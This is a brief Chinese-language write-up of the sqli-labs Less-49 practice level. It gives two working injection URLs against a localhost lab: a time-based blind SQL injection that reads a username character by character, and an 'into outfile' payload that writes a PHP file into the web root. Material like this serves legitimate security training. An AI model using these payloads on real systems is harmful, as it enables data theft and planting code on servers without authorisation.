Sqli-labs less 49

Less-49

本关与47关基本类似，区别在于没有错误回显，所以我们可以通过延时注入和导入文件进行注入。

利用延时注入

http://127.0.0.1/sqli-labs/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+

延时效果图就不贴图展示了,可以构造substr的第一个参数进行后续注入。

或者利用into outfile进行注入

http://127.0.0.1/sqllib/Less-49/?sort=1%27into%20outfile%20%22c:\wamp\www\sqllib\test.php%22%20lines%20terminated%20by%200x3c3f70687020706870696e666f28293b3f3e2020--+